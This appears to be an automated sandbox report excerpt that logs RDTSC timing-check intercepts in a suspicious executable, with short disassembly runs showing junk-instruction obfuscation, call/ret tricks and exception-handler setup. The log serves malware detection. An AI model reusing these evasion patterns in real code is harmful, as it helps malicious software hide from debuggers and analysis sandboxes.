Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E422D second address: 9E4232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4232 second address: 9E4238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E446A second address: 9E449C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 41E26203h 0x0000000e movzx edx, si 0x00000011 push 00000003h 0x00000013 sub dword ptr [ebp+122D317Dh], edx 0x00000019 push 00000000h 0x0000001b or dx, 59BDh 0x00000020 push 00000003h 0x00000022 mov edi, 60797B68h 0x00000027 push 9D1EAF65h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E449C second address: 9E44A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E44A0 second address: 9E44A6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E44A6 second address: 9E44B0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD5E8DE155Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E44B0 second address: 9E44E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 5D1EAF65h 0x0000000d xor si, 55EFh 0x00000012 lea ebx, dword ptr [ebp+12447F5Eh] 0x00000018 mov dword ptr [ebp+122D3025h], esi 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007FD5E873B15Eh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E44E3 second address: 9E44E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E44E9 second address: 9E44ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A021F7 second address: A021FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A021FB second address: A02203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02203 second address: A02208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02208 second address: A0220E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02377 second address: A02382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02382 second address: A02388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02388 second address: A02394 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02394 second address: A0239E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD5E873B156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02560 second address: A02564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02564 second address: A0256D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0256D second address: A02573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02DD2 second address: A02DE4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD5E873B156h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02DE4 second address: A02DF8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FD5E8DE155Ah 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02DF8 second address: A02E02 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD5E873B15Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02F3D second address: A02F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02F43 second address: A02F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02F4C second address: A02F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD5E8DE1556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02F56 second address: A02F5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02F5A second address: A02F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02F60 second address: A02FAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD5E873B15Fh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD5E873B167h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD5E873B167h 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02FAE second address: A02FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02FB5 second address: A02FC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FD5E873B156h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02FC1 second address: A02FCB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD5E8DE1556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0311F second address: A0313D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD5E873B156h 0x0000000a jmp 00007FD5E873B164h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0313D second address: A03141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A032AE second address: A032C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B15Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0347B second address: A0347F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9571 second address: 9F957C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD5E873B156h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F957C second address: 9F9584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9584 second address: 9F9588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A086F0 second address: A086F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A086F4 second address: A08703 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnl 00007FD5E873B156h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0AC5A second address: A0AC60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A105AD second address: A105B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A105B1 second address: A105C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jnp 00007FD5E8DE1556h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12A46 second address: A12A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12A5C second address: A12A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E8DE155Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12A6A second address: A12AA9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD5E873B156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 0DE56C31h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FD5E873B158h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d call 00007FD5E873B159h 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push ebx 0x00000036 pop ebx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12BE7 second address: A12BED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1302E second address: A13034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13034 second address: A13039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1355A second address: A13560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1376C second address: A13770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13770 second address: A13774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1384D second address: A13859 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13B42 second address: A13B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14980 second address: A14984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14984 second address: A1498E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD5E873B156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1482A second address: A14838 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FD5E8DE1556h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14838 second address: A1483C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16B76 second address: A16B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A171C9 second address: A17259 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007FD5E873B156h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 jmp 00007FD5E873B15Ah 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FD5E873B158h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 pushad 0x00000037 je 00007FD5E873B156h 0x0000003d jmp 00007FD5E873B166h 0x00000042 popad 0x00000043 pushad 0x00000044 jnp 00007FD5E873B156h 0x0000004a jmp 00007FD5E873B168h 0x0000004f popad 0x00000050 popad 0x00000051 push eax 0x00000052 pushad 0x00000053 ja 00007FD5E873B15Ch 0x00000059 push ecx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17B9E second address: A17BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17BA2 second address: A17BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FD5E873B156h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17BB2 second address: A17BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17BB6 second address: A17C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD5E873B161h 0x0000000b popad 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D2E4Eh] 0x00000013 push 00000000h 0x00000015 jmp 00007FD5E873B15Ch 0x0000001a jbe 00007FD5E873B156h 0x00000020 push 00000000h 0x00000022 mov dword ptr [ebp+12479C4Ah], edx 0x00000028 push eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FD5E873B15Ch 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A8FC second address: A1A900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A900 second address: A1A904 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A904 second address: A1A90A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A90A second address: A1A956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jp 00007FD5E873B156h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FD5E873B158h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov esi, 7C3B0759h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+12459883h], ecx 0x00000038 push eax 0x00000039 pushad 0x0000003a push edx 0x0000003b jbe 00007FD5E873B156h 0x00000041 pop edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jnc 00007FD5E873B156h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DB04 second address: A1DB09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A6D3 second address: A1A6D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B092 second address: A1B0A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DB09 second address: A1DB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B0A3 second address: A1B0C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD5E8DE1569h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A6D7 second address: A1A6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A6DD second address: A1A6E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD5E8DE1556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FBA2 second address: A1FBC1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD5E873B15Ch 0x00000008 jno 00007FD5E873B156h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007FD5E873B15Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FBC1 second address: A1FC1A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD5E8DE1558h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov di, si 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FD5E8DE1558h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a add dword ptr [ebp+122D2A3Dh], esi 0x00000030 xor bx, 5B1Bh 0x00000035 push 00000000h 0x00000037 jmp 00007FD5E8DE155Dh 0x0000003c push eax 0x0000003d pushad 0x0000003e je 00007FD5E8DE155Ch 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1ED04 second address: A1ED0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD5E873B156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FD84 second address: A1FD98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1560h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21A86 second address: A21A8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20CEA second address: A20D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E8DE1568h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21A8C second address: A21A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20D06 second address: A20D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20D0A second address: A20D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007FD5E873B160h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20D1E second address: A20D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov edi, edx 0x00000008 push dword ptr fs:[00000000h] 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FD5E8DE1558h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 mov dword ptr [ebp+122D35EDh], edi 0x00000036 mov eax, dword ptr [ebp+122D0C19h] 0x0000003c jo 00007FD5E8DE155Ah 0x00000042 mov di, 5039h 0x00000046 push FFFFFFFFh 0x00000048 call 00007FD5E8DE155Ah 0x0000004d mov bl, 3Ah 0x0000004f pop edi 0x00000050 push eax 0x00000051 pushad 0x00000052 jns 00007FD5E8DE155Ch 0x00000058 pushad 0x00000059 jmp 00007FD5E8DE155Bh 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22BCF second address: A22BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21CA6 second address: A21CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23B82 second address: A23B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24BBA second address: A24BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25D5B second address: A25D75 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD5E873B156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD5E873B15Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25E32 second address: A25E36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26D36 second address: A26D3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26D3A second address: A26D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26D44 second address: A26D48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
